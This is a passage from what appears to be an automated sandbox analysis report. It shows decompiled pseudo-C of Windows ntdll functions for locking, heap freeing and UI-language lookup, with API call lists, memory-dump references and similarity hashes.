							_t37 = _t24;
							if(_t37 != 0) {
								L8:
								E6D24CC50(_t37);
							} else {
								goto L6;
							}
						} else {
							_t37 = 0;
							L6:
							_t11 = _t32 + 0x24; // 0x6d338504
							E6D262280(_t24, _t11);
							 *(_t32 + 0x2c) =  *( *[fs:0x18] + 0x24);
							 *(_t32 + 0x36) =  *(_t32 + 0x36) | 0x00008000;
							E6D315977(_t32);
							 *(_t32 + 0x2c) =  *(_t32 + 0x2c) & 0x00000000;
							E6D25FFB0(_t32, _t37, _t11);
						}
					}
				}
				return _t37;
			}

0x6d313e27
0x6d313e34
0x6d313ea8
0x6d313eaa
0x00000000
0x6d313e36
0x6d313e36
0x6d313e3c
0x00000000
0x6d313e44
0x6d313e49
0x6d313e4f
0x6d313e50
0x6d313e51
0x6d313e52
0x6d313e54
0x6d313e57
0x6d313e5b
0x6d313e5d
0x6d313e64
0x6d313e70
0x6d313e74
0x6d313eab
0x6d313eac
0x00000000
0x00000000
0x00000000
0x6d313e66
0x6d313e66
0x6d313e76
0x6d313e76
0x6d313e7a
0x6d313e8b
0x6d313e93
0x6d313e97
0x6d313e9c
0x6d313ea1
0x6d313ea1
0x6d313e64
0x6d313e3c
0x6d313eb9

APIs

ZwTraceControl.1105(0000001A,8S3m,00000008,00000000,00000000,?,6D335338,00000000,6D335320,6D335320,6D335338,?,6D3384E0,?,00000001,6D225C80), ref: 6D313E5D
RtlNtStatusToDosError.1105(00000000,0000001A,8S3m,00000008,00000000,00000000,?,6D335338,00000000,6D335320,6D335320,6D335338,?,6D3384E0,?,00000001), ref: 6D313E6B
RtlAcquireSRWLockExclusive.1105(6D338504,00000000,0000001A,8S3m,00000008,00000000,00000000,?,6D335338,00000000,6D335320,6D335320,6D335338,?,6D3384E0), ref: 6D313E7A
RtlReleaseSRWLockExclusive.1105(6D338504,6D338504,00000000,0000001A,8S3m,00000008,00000000,00000000,?,6D335338,00000000,6D335320,6D335320,6D335338,?,6D3384E0), ref: 6D313EA1
RtlSetLastWin32Error.1105(00000006,6D335338,00000000,6D335320,6D335320,6D335338,?,6D3384E0,?,00000001,6D225C80,6D24591B), ref: 6D313EAC

Strings

8S3m, xrefs: 6D313E54, 6D313E5A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorExclusiveLock$AcquireControlLastReleaseStatusTraceWin32
String ID: 8S3m
API String ID: 1422652320-3175737198
Opcode ID: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction ID: b033390e3746711e13d5e5d1539e939efe8e84583f317a5365dfac3df53c6351
Opcode Fuzzy Hash: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction Fuzzy Hash: 4011E77364831A66CB109F59CC80BAB7BBCFF89B60F414025ED049B141DB34C9058BF0

Uniqueness

Uniqueness Score: -1.00%

Function 6D314015, Relevance: 10.5, APIs: 7, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D314015(signed int __eax, void* __ecx) {
				void* __ebx;
				void* __edi;
				char _t10;
				void* _t18;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t32 = __ecx + 0x1c;
					E6D262280(_t10, __ecx + 0x1c);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E6D262280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x6d3386ac);
					L6D24F900(0x6d3386d4, _t28);
					E6D25FFB0(0x6d3386ac, _t28, 0x6d3386ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E6D25FFB0(0, _t28, _t32);
					_t18 =  *(_t28 + 0x94);
					if(_t18 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t18);
					}
					_t10 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t28);
				}
				return _t10;
			}

0x6d31401a
0x6d31401e
0x6d314023
0x6d314028
0x6d314029
0x6d31402b
0x6d31402f
0x6d314043
0x6d314046
0x6d314051
0x6d314057
0x6d31405f
0x6d314062
0x6d314067
0x6d31406f
0x6d31407c
0x6d31407c
0x6d31408c
0x6d31408c
0x6d314097

APIs

RtlAcquireSRWLockExclusive.1105(00000000,?,000000A0,?,?,?,6D2B6D7C,00000000,00000000,00000000,?,?,6D274E1B,0000000F), ref: 6D31402F
RtlAcquireSRWLockExclusive.1105(6D3386AC,00000000,?,000000A0,?,?,?,6D2B6D7C,00000000,00000000,00000000,?,?,6D274E1B,0000000F), ref: 6D314046

Part of subcall function 6D262280: RtlDllShutdownInProgress.1105(00000000), ref: 6D2622BA
Part of subcall function 6D262280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6D2623A3

RtlRbRemoveNode.1105(6D3386D4,?,6D3386AC,00000000,?,000000A0,?,?,?,6D2B6D7C,00000000,00000000,00000000,?,?,6D274E1B), ref: 6D314051
RtlReleaseSRWLockExclusive.1105(6D3386AC,6D3386D4,?,6D3386AC,00000000,?,000000A0,?,?,?,6D2B6D7C,00000000,00000000,00000000,?,?), ref: 6D314057
RtlReleaseSRWLockExclusive.1105(00000000,6D3386AC,6D3386D4,?,6D3386AC,00000000,?,000000A0,?,?,?,6D2B6D7C,00000000,00000000,00000000,?), ref: 6D314062
RtlFreeHeap.1105(?,00000000,?,00000000,6D3386AC,6D3386D4,?,6D3386AC,00000000,?,000000A0,?,?,?,6D2B6D7C,00000000), ref: 6D31407C
RtlFreeHeap.1105(?,00000000,?,00000000,6D3386AC,6D3386D4,?,6D3386AC,00000000,?,000000A0,?,?,?,6D2B6D7C,00000000), ref: 6D31408C

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireFreeHeapRelease$AlertNodeProgressRemoveShutdownThreadWait
String ID:
API String ID: 83280457-0
Opcode ID: ca33946ec04c300c8f83e6ff1cf4df45edbd4a8f99bb08db72429c1a39dc9732
Instruction ID: e05b1493e76d60e9c8272913fc8781a0c48a8af07c08922d66f088f176b7b524
Opcode Fuzzy Hash: ca33946ec04c300c8f83e6ff1cf4df45edbd4a8f99bb08db72429c1a39dc9732
Instruction Fuzzy Hash: 3B01847164568A7FD3159F69CD80E13F7ACEF49758B020235F60887A51CB28EC51C6E4

Uniqueness

Uniqueness Score: -1.00%

Function 6D2DFF10, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p,?,000000FF,?,6D3209B0,00000014,6D25EBD8,?,?,?,00000000,?,6D241E03,?), ref: 6D2DFF69
RtlDecodePointer.1105(6D3209B0,00000014,6D25EBD8,?,?,?,00000000,?,6D241E03,?,6D241D6E,?), ref: 6D2DFF78
RtlRaiseStatus.1105(C0000264,6D3209B0,00000014,6D25EBD8,?,?,?,00000000,?,6D241E03,?,6D241D6E,?), ref: 6D2DFF89
RtlDebugPrintTimes.1105(?,C0000264,6D3209B0,00000014,6D25EBD8,?,?,?,00000000,?,6D241E03,?,6D241D6E,?), ref: 6D2DFF9A

Strings

PS3m?, xrefs: 6D2DFF56, 6D2DFF5C
NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 6D2DFF60

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$DebugDecodePointerRaiseStatusTimes
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p$PS3m?
API String ID: 433667553-1930923841
Opcode ID: 40cde28414be2d7a405eecf868106433a6794d9e8782b073275bceb479b25948
Instruction ID: 366ec466944358156d0653a2fbb2cc8da5695e8fcbefe3f2f680a21e99964397
Opcode Fuzzy Hash: 40cde28414be2d7a405eecf868106433a6794d9e8782b073275bceb479b25948
Instruction Fuzzy Hash: BD1122B599018DEFDF22CF50CA44FADB7B1FF4930AF128064E2086B2A1C7399940DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6D24E009, Relevance: 9.3, APIs: 6, Instructions: 282
nativeCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6D24E009(void* __ecx) {
				signed int _v8;
				void _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				short _v208;
				signed int _v210;
				short _v212;
				short _v214;
				char _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				int _v232;
				signed int _v236;
				char _v240;
				int _v244;
				intOrPtr _v248;
				char _v252;
				void* _v256;
				short _v258;
				char _v260;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t122;
				signed int _t125;
				void* _t129;
				void* _t137;
				signed int _t157;
				void* _t165;
				short _t166;
				signed int _t181;
				void* _t182;
				signed int _t183;
				signed int _t187;
				int _t194;
				signed int _t197;
				signed int _t202;
				signed int _t205;
				signed int _t214;
				signed int _t218;
				signed int _t219;
				signed int _t221;
				signed int _t227;
				signed int _t228;
				void* _t229;
				void* _t230;
				void* _t231;
				signed int _t232;

				_v8 =  *0x6d33d360 ^ _t232;
				_t231 = __ecx;
				_v220 = 0;
				_t228 = _t227 | 0xffffffff;
				_v232 = 0;
				_v244 = 0;
				_t181 = _t228;
				_v228 = _t181;
				_v236 = _t228;
				memset( &_v188, 0, 0xaa);
				_t122 = E6D28A4C0();
				asm("sbb al, al");
				_v240 =  ~_t122 + 1;
				_t125 =  *(_t231 + 4) & 0x0000ffff;
				if(_t125 == 0) {
					_push( &_v220);
					if(E6D28A980() < 0) {
						goto L31;
					}
					_t125 = _v220;
					goto L2;
				} else {
					_v220 = _t125;
					L2:
					_t193 = _t231;
					_t129 = E6D253BF4(_t231, _t125, 0,  &_v236);
					if(_t129 == 0xc0000034 || _t129 == 0xc00000bb) {
						_t214 = 0x55;
						_v224 = _t228;
						_t194 = E6D24F358(_t193, _t214);
						_v244 = _t194;
						if(_t194 != 0) {
							_v248 = _t194;
							_v252 = 0xaa0000;
							if(E6D253B30(_v220 & 0x0000ffff,  &_v252) == 0) {
								goto L11;
							}
							_t165 = E6D24E50F( &_v224, _t231, _v248, 1,  &_v224);
							_t205 = _t228;
							if(_t165 >= 0) {
								_t205 = _v224;
							}
							_t166 = 0x31;
							_v216 = _t166;
							_v210 = _t205;
							_v214 = 0;
							_v212 = _v220;
							_v208 = 0;
							_v204 = 0;
							_v200 = 0;
							_v196 = 0;
							_v192 = 0;
							E6D24F395(_t231,  &_v216, _v248);
							_t75 = _t231 + 0x14; // 0xef02
							if(E6D28458B(_t75,  &_v216, 0) < 0) {
								goto L11;
							} else {
								_t172 =  *(_t231 + 0x14);
								_t181 = ( *( *(_t231 + 0x14) + 6) & 0x0000ffff) - 1;
								goto L6;
							}
						}
						_t127 = 0xc0000017;
						goto L31;
					} else {
						if(_t129 < 0) {
							L11:
							if(_v240 != 0) {
								_t228 = _t181;
							}
							_t214 = _t228;
							E6D24E216(_t231, _t214);
							_t197 =  *(_t231 + 0x14);
							_t181 = 0;
							if(0 >=  *(_t197 + 6)) {
								L17:
								_v224 = _v224 & 0x00000000;
								if(0 >=  *(_t197 + 6)) {
									L25:
									_t228 = 0;
									if(0 >=  *(_t197 + 6)) {
										L29:
										_t137 = _v244;
										if(_t137 != 0) {
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t137);
										}
										_t127 = 0;
										L31:
										return E6D28B640(_t127, _t181, _v8 ^ _t232, _t214, _t228, _t231);
									}
									_t182 = 0;
									do {
										if(( *(_t182 +  *((intOrPtr*)(_t197 + 0xc))) & 0x00000004) != 0) {
											E6D2FF37F(_t231, _t228);
											_t214 =  *(_t231 + 0x14);
										}
										_t228 = _t228 + 1;
										_t182 = _t182 + 0x1c;
										_t197 = _t214;
									} while (_t228 < ( *(_t214 + 6) & 0x0000ffff));
									goto L29;
								}
								_t218 = _t197;
								_t229 = 0;
								do {
									_t197 = _t218;
									_t183 =  *( *((intOrPtr*)(_t218 + 0xc)) + _t229) & 0x0000ffff;
									if((_t183 & 0x00000021) == 0x21) {
										if((_t183 & 0x00001000) == 0) {
											_v232 = _v232 + 1;
										}
										_t197 = _t218;
										if(_v240 != 0 && _v224 != _v228) {
											_t197 = _t218;
											if(_v232 >  *((intOrPtr*)(_t231 + 0x48))) {
												 *( *((intOrPtr*)(_t218 + 0xc)) + _t229) = _t183 & 0x0000ffdf;
												 *( *((intOrPtr*)( *(_t231 + 0x14) + 0xc)) + _t229) =  *( *((intOrPtr*)( *(_t231 + 0x14) + 0xc)) + _t229) | 0x00008000;
												_t197 =  *(_t231 + 0x14);
											}
										}
									}
									_t229 = _t229 + 0x1c;
									_t181 = _v224 + 1;
									_v224 = _t181;
									_t218 = _t197;
								} while (_t181 < ( *(_t197 + 6) & 0x0000ffff));
								goto L25;
							} else {
								_t219 = _t197;
								_t230 = 0;
								do {
									if(( *(_t230 +  *((intOrPtr*)(_t219 + 0xc))) & 0x00000022) == 0x22) {
										E6D2FF56C(_t231, _t181);
										_t157 =  *(_t231 + 0x14);
										_t202 =  *((intOrPtr*)(_t157 + 0xc));
										_v224 = _t202;
										_t221 =  *(_t202 + _t230) & 0x0000ffff;
										if((_t221 & 0x00001000) == 0) {
											_v232 = _v232 + 1;
										}
										_t197 = _t157;
										if(_v240 != 0 && _t181 != _v228 && _v232 >  *((intOrPtr*)(_t231 + 0x48))) {
											 *((short*)(_v224 + _t230)) = _t221 & 0x0000ffdf;
											 *( *((intOrPtr*)( *(_t231 + 0x14) + 0xc)) + _t230) =  *( *((intOrPtr*)( *(_t231 + 0x14) + 0xc)) + _t230) | 0x00008000;
											_t197 =  *(_t231 + 0x14);
										}
									}
									_t181 = _t181 + 1;
									_t230 = _t230 + 0x1c;
									_t219 = _t197;
								} while (_t181 < ( *(_t197 + 6) & 0x0000ffff));
								goto L17;
							}
						} else {
							_t181 = _v236;
							_t172 =  *(_t231 + 0x14);
							L6:
							_v228 = _t181;
							if(_t181 == _t228) {
								goto L11;
							}
							_t187 = _t181 * 0x1c;
							_v256 =  &_v188;
							_v258 = 0xaa;
							if(E6D24E2F0(_t231,  *((intOrPtr*)(_t172 + 0xc)) + _t187,  &_v260) >= 0) {
								if(E6D253099(_t231, _v256) < 0) {
									 *( *((intOrPtr*)( *(_t231 + 0x14) + 0xc)) + _t187) =  *( *((intOrPtr*)( *(_t231 + 0x14) + 0xc)) + _t187) & 0x0000ffdf;
									 *( *((intOrPtr*)( *(_t231 + 0x14) + 0xc)) + _t187) =  *( *((intOrPtr*)( *(_t231 + 0x14) + 0xc)) + _t187) | 0x00008000;
								} else {
									_v232 = 1;
								}
							}
							_t181 = _v228;
							goto L11;
						}
					}
				}
			}

0x6d24e01b
0x6d24e023
0x6d24e02a
0x6d24e033
0x6d24e036
0x6d24e03c
0x6d24e042
0x6d24e04a
0x6d24e051
0x6d24e058
0x6d24e060
0x6d24e067
0x6d24e06b
0x6d24e071
0x6d24e078
0x6d2a4ffd
0x6d2a5005
0x00000000
0x00000000
0x6d2a500b
0x00000000
0x6d24e07e
0x6d24e07e
0x6d24e085
0x6d24e091
0x6d24e093
0x6d24e09d
0x6d2a5019
0x6d2a501a
0x6d2a5026
0x6d2a5028
0x6d2a5030
0x6d2a5043
0x6d2a5051
0x6d2a5062
0x00000000
0x00000000
0x6d2a5079
0x6d2a507e
0x6d2a5083
0x6d2a5085
0x6d2a5085
0x6d2a508e
0x6d2a5095
0x6d2a50a4
0x6d2a50ab
0x6d2a50bb
0x6d2a50c4
0x6d2a50cb
0x6d2a50d1
0x6d2a50d7
0x6d2a50dd
0x6d2a50e3
0x6d2a50e8
0x6d2a50fa
0x00000000
0x6d2a5100
0x6d2a5100
0x6d2a5107
0x00000000
0x6d2a5107
0x6d2a50fa
0x6d2a5032
0x00000000
0x6d24e0ae
0x6d24e0b0
0x6d24e11d
0x6d24e124
0x6d24e126
0x6d24e126
0x6d24e129
0x6d24e12d
0x6d24e132
0x6d24e137
0x6d24e13d
0x6d24e163
0x6d24e163
0x6d24e170
0x6d24e1cc
0x6d24e1ce
0x6d24e1d4
0x6d24e1f5
0x6d24e1f5
0x6d24e1fd
0x6d2a51fc
0x6d2a51fc
0x6d24e203
0x6d24e205
0x6d24e215
0x6d24e215
0x6d24e1d6
0x6d24e1d8
0x6d24e1e1
0x6d2a51e3
0x6d2a51e8
0x6d2a51e8
0x6d24e1eb
0x6d24e1ec
0x6d24e1ef
0x6d24e1f1
0x00000000
0x6d24e1d8
0x6d24e172
0x6d24e174
0x6d24e176
0x6d24e179
0x6d24e17b
0x6d24e185
0x6d24e18d
0x6d24e18f
0x6d24e18f
0x6d24e19c
0x6d24e19e
0x6d2a51af
0x6d2a51b4
0x6d2a51c9
0x6d2a51d3
0x6d2a51d7
0x6d2a51d7
0x6d2a51b4
0x6d24e19e
0x6d24e1b8
0x6d24e1bf
0x6d24e1c0
0x6d24e1c6
0x6d24e1c8
0x00000000
0x6d24e13f
0x6d24e13f
0x6d24e141
0x6d24e143
0x6d24e14f
0x6d2a5134
0x6d2a5139
0x6d2a513c
0x6d2a513f
0x6d2a5145
0x6d2a514f
0x6d2a5151
0x6d2a5151
0x6d2a515e
0x6d2a5160
0x6d2a5193
0x6d2a519d
0x6d2a51a1
0x6d2a51a1
0x6d2a5160
0x6d24e159
0x6d24e15a
0x6d24e15d
0x6d24e15f
0x00000000
0x6d24e143
0x6d24e0b2
0x6d24e0b2
0x6d24e0b9
0x6d24e0bc
0x6d24e0bc
0x6d24e0c4
0x00000000
0x00000000
0x6d24e0cc
0x6d24e0cf
0x6d24e0da
0x6d24e0f6
0x6d24e107
0x6d2a5118
0x6d2a5127
0x6d24e10d
0x6d24e10d
0x6d24e10d
0x6d24e107
0x6d24e117
0x00000000
0x6d24e117
0x6d24e0b0
0x6d24e09d

APIs

memset.1105(?,00000000,000000AA,00000000,0000EEEE), ref: 6D24E058
ZwIsUILanguageComitted.1105(00000000,0000EEEE), ref: 6D24E060
RtlpGetNameFromLangInfoNode.1105(0000EEEE,00000001,?,00000000,?,00000000,0000EEEE), ref: 6D24E0EF

Part of subcall function 6D24E2F0: RtlInitUnicodeString.1105(?,MUI,00000000,0000EEEE,?,00000000,?,00000000,0000EEEE), ref: 6D24E336

ZwQueryInstallUILanguage.1105(?,00000000,0000EEEE), ref: 6D2A4FFE
RtlLCIDToCultureName.1105(?,?,00000000,?,00000000,0000EEEE), ref: 6D2A505B

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: LanguageName$ComittedCultureFromInfoInitInstallLangNodeQueryRtlpStringUnicodememset
String ID:
API String ID: 645234790-0
Opcode ID: f9f741b68e240e203265b8fce47e5897c78513ee232c0a68cf1baf1cef7f9a8a
Instruction ID: 5b029cf29f8ffbe3db090ed9490db5e64d44582c057ebca648c024315c668b0a
Opcode Fuzzy Hash: f9f741b68e240e203265b8fce47e5897c78513ee232c0a68cf1baf1cef7f9a8a
Instruction Fuzzy Hash: 80B14130A9426A8BE769CF54C890BA9B3B5EF84704F0585EAD90DE7241EB349D85CF21

Uniqueness

Uniqueness Score: -1.00%

Function 6D2538A4, Relevance: 9.2, APIs: 6, Instructions: 246
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6D2538A4(char __ecx, WCHAR* __edx, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				void* _v20;
				intOrPtr _v24;
				void* _v28;
				signed short _v32;
				void* _v36;
				char _v40;
				char _v44;
				signed short _v48;
				void* _v56;
				intOrPtr _v60;
				void* _v64;
				WCHAR* _v68;
				intOrPtr _v72;
				WCHAR* _v76;
				signed int _v80;
				void* _v84;
				void* _v88;
				void* _v92;
				void* _v100;
				void* _t98;
				signed short _t99;
				short _t104;
				void* _t110;
				signed short _t120;
				signed int _t121;
				intOrPtr* _t122;
				WCHAR* _t135;
				signed char _t138;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t141;
				void* _t145;
				char _t146;
				WCHAR* _t148;
				void* _t155;
				short* _t161;
				intOrPtr _t163;
				signed int _t166;
				signed short _t171;
				signed short _t174;
				WCHAR* _t176;
				intOrPtr _t178;
				signed int _t179;
				void* _t181;

				_t181 = (_t179 & 0xfffffff8) - 0x34;
				_v44 = __ecx;
				_t98 = _a4 + _a4;
				_v36 = _t98;
				_t174 = 0;
				_v48 = 0;
				_v32 = 0;
				_v56 = 0xffffffff;
				_t135 = __edx;
				_v40 = __edx;
				_t171 = 0;
				if(_t98 <= 0 || __edx == 0 || _a20 == 0 || (_a12 & 0xffffffe0) != 0) {
					_t99 = 0xc000000d;
				} else {
					_t145 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0xaa);
					_v36 = _t145;
					if(_t145 == 0) {
						_t99 = 0xc0000017;
						L26:
						return _t99;
					}
					_t146 = _v44;
					while( *_t135 != _t174 && _t146 > 0) {
						_t148 = _t135;
						_v60 = _t174;
						_t16 =  &(_t148[1]); // 0x2
						_t161 = _t16;
						do {
							_t104 =  *_t148;
							_t148 =  &(_t148[1]);
						} while (_t104 != _t174);
						_v24 = (_t148 - _t161 >> 1) + (_t148 - _t161 >> 1);
						RtlInitUnicodeString( &_v20, _t135);
						_push( &_v68);
						if((_a8 & 0x00000004) != 0) {
							if(RtlUnicodeStringToInteger( &_v28, 0x10, ??) < 0) {
								L52:
								_t135 =  &(_t135[1]) + _v44;
								_t110 = 0xfffffffe;
								_t146 = _v64 + _t110 - _v44;
								_v68 = _t135;
								_v64 = _t146;
								if(_t135 != 0) {
									continue;
								}
								break;
							}
							_t176 = _v80;
							if(_t176 == 0x1000 || _t176 == 0x1400 || _t176 == 0x400 || _t176 == 0xc00 || _t176 == 0x800 || _t176 == 0x7f) {
								if((_a12 & 0x00000004) != 0) {
									goto L51;
								}
								if((_a12 & 0x00000008) == 0) {
									goto L47;
								}
								_t171 = 0xc00000bb;
								break;
							} else {
								L47:
								_v36 = _v56;
								_v40 = 0xaa0000;
								if(E6D253B30(_t176,  &_v40) == 0 || (_a12 & 0x00000002) == 0 && (_t176 == 0x1000 || _t176 == 0x1400)) {
									L51:
									_t174 = 0;
									goto L52;
								} else {
									L14:
									_t138 = 1;
									_v76 = _t176;
									L15:
									if(E6D253AD2(_v72, _t138 & 0x000000ff, _v76,  &_v84) < 0) {
										if((_a8 & 0x00000002) != 0) {
											L18:
											_t163 =  *_a20;
											if(_t163 == 0) {
												_t163 = E6D257608(1, _a12 & 0x00000001, _v72);
												 *_a20 = _t163;
												if(_t163 != 0) {
													goto L19;
												}
												L60:
												_t171 = 0xc0000017;
												break;
											}
											L19:
											_t120 =  *(_t163 + 4) & 0x0000ffff;
											_t155 = 0;
											_v48 = _t120;
											_t121 = _t120 & 0x0000ffff;
											 *(_t181 + 0x2c) = _t121;
											if(_t121 != 0) {
												_t122 =  *((intOrPtr*)(_t163 + 0x10));
												_t166 = _t138 & 0x000000ff;
												_t139 =  *(_t181 + 0x2c);
												_v80 = _t166;
												L30:
												while(1) {
													if( *_t122 == _t166) {
														if( *((intOrPtr*)(_t122 + 4)) == _t176) {
															L23:
															_t178 = _v60 + 1;
															_v60 = _t178;
															if(_t178 < _a16) {
																goto L28;
															}
															_t171 = 0;
															goto L25;
														}
													}
													_t155 = _t155 + 1;
													_t122 = _t122 + 6;
													_t163 =  *_a20;
													if(_t155 < _t139) {
														_t166 = _v80;
														continue;
													}
													_t140 = _v80;
													L21:
													if(_v48 >=  *((intOrPtr*)(_t163 + 6))) {
														_t163 = E6D2FDE80();
														 *_a20 = _t163;
														if(_t163 != 0) {
															goto L22;
														}
														goto L60;
													}
													L22:
													 *(( *(_t163 + 4) & 0x0000ffff) * 6 +  *((intOrPtr*)(_t163 + 0x10))) = _t140;
													_t141 = _a20;
													 *(( *( *_t141 + 4) & 0x0000ffff) * 6 +  *((intOrPtr*)( *_t141 + 0x10)) + 4) = _t176;
													 *( *_t141 + 4) =  *( *_t141 + 4) + 1;
													goto L23;
												}
											}
											_t140 = _t138 & 0x000000ff;
											goto L21;
										}
										L28:
										_t135 = _v68;
										goto L51;
									}
									if((_a8 & 0x00000010) == 0) {
										_t176 = _v84;
										_t138 = 2;
										_v76 = _t176;
									}
									goto L18;
								}
							}
						}
						_push( &_v28);
						if(E6D2543C0() == 0) {
							goto L52;
						}
						_t176 = _v68;
						if(_t176 == 0x1000 || _t176 == 0x1400) {
							if((_a12 & 0x00000002) == 0 || E6D24E50F( &_v64, _v60, _v24, 1,  &_v64) < 0) {
								goto L51;
							} else {
								_t176 = _v64;
								_t138 = 3;
								goto L15;
							}
						} else {
							goto L14;
						}
					}
					L25:
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
					_t99 = _t171;
				}
			}

0x6d2538ac
0x6d2538b3
0x6d2538b7
0x6d2538bb
0x6d2538c0
0x6d2538c2
0x6d2538ca
0x6d2538ce
0x6d2538d3
0x6d2538d5
0x6d2538da
0x6d2538de
0x6d2a80f3
0x6d253902
0x6d253918
0x6d25391a
0x6d253920
0x6d2a7fd1
0x6d253a5a
0x6d253a60
0x6d253a60
0x6d253926
0x6d25392a
0x6d25393b
0x6d25393d
0x6d253941
0x6d253941
0x6d253944
0x6d253944
0x6d253947
0x6d25394a
0x6d253957
0x6d253960
0x6d25396d
0x6d253972
0x6d2a7fe5
0x6d2a8071
0x6d2a8078
0x6d2a807e
0x6d2a8083
0x6d2a8085
0x6d2a8089
0x6d2a808f
0x00000000
0x00000000
0x00000000
0x6d2a8095
0x6d2a7feb
0x6d2a7ff5
0x6d2a8020
0x00000000
0x00000000
0x6d2a8026
0x00000000
0x00000000
0x6d2a8028
0x00000000
0x6d2a8032
0x6d2a8032
0x6d2a8036
0x6d2a8040
0x6d2a804f
0x6d2a806f
0x6d2a806f
0x00000000
0x6d2539a2
0x6d2539a2
0x6d2539a2
0x6d2539a4
0x6d2539a9
0x6d2539c0
0x6d253a67
0x6d2539d8
0x6d2539db
0x6d2539df
0x6d253ab7
0x6d253abc
0x6d253ac0
0x00000000
0x00000000
0x6d2a80e9
0x6d2a80e9
0x00000000
0x6d2a80e9
0x6d2539e5
0x6d2539e5
0x6d2539e9
0x6d2539eb
0x6d2539ef
0x6d2539f2
0x6d2539f8
0x6d253a76
0x6d253a79
0x6d253a7c
0x6d253a80
0x00000000
0x6d253a85
0x6d253a88
0x6d2a80c8
0x6d253a33
0x6d253a37
0x6d253a38
0x6d253a3f
0x00000000
0x00000000
0x6d253a41
0x00000000
0x6d253a41
0x6d2a80ce
0x6d253a91
0x6d253a92
0x6d253a95
0x6d253a99
0x6d253acb
0x00000000
0x6d253acb
0x6d253a9b
0x6d2539fd
0x6d253a05
0x6d2a80da
0x6d2a80df
0x6d2a80e3
0x00000000
0x00000000
0x00000000
0x6d2a80e3
0x6d253a0b
0x6d253a15
0x6d253a19
0x6d253a28
0x6d253a2f
0x00000000
0x6d253a2f
0x6d253a85
0x6d2539fa
0x00000000
0x6d2539fa
0x6d253a6d
0x6d253a6d
0x00000000
0x6d253a6d
0x6d2539ca
0x6d2539cc
0x6d2539d1
0x6d2539d3
0x6d2539d3
0x00000000
0x6d2539ca
0x6d2a804f
0x6d2a7ff5
0x6d253978
0x6d253980
0x00000000
0x00000000
0x6d253986
0x6d253990
0x6d2a809e
0x00000000
0x6d2a80b8
0x6d2a80b8
0x6d2a80bd
0x00000000
0x6d2a80bd
0x00000000
0x00000000
0x00000000
0x6d253990
0x6d253a43
0x6d253a53
0x6d253a58
0x6d253a58

APIs

RtlAllocateHeap.1105(?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018,?), ref: 6D253913
RtlInitUnicodeString.1105(?,00000000,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018), ref: 6D253960
RtlCultureNameToLCID.1105(?,000000AA,?,00000000,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000), ref: 6D253979
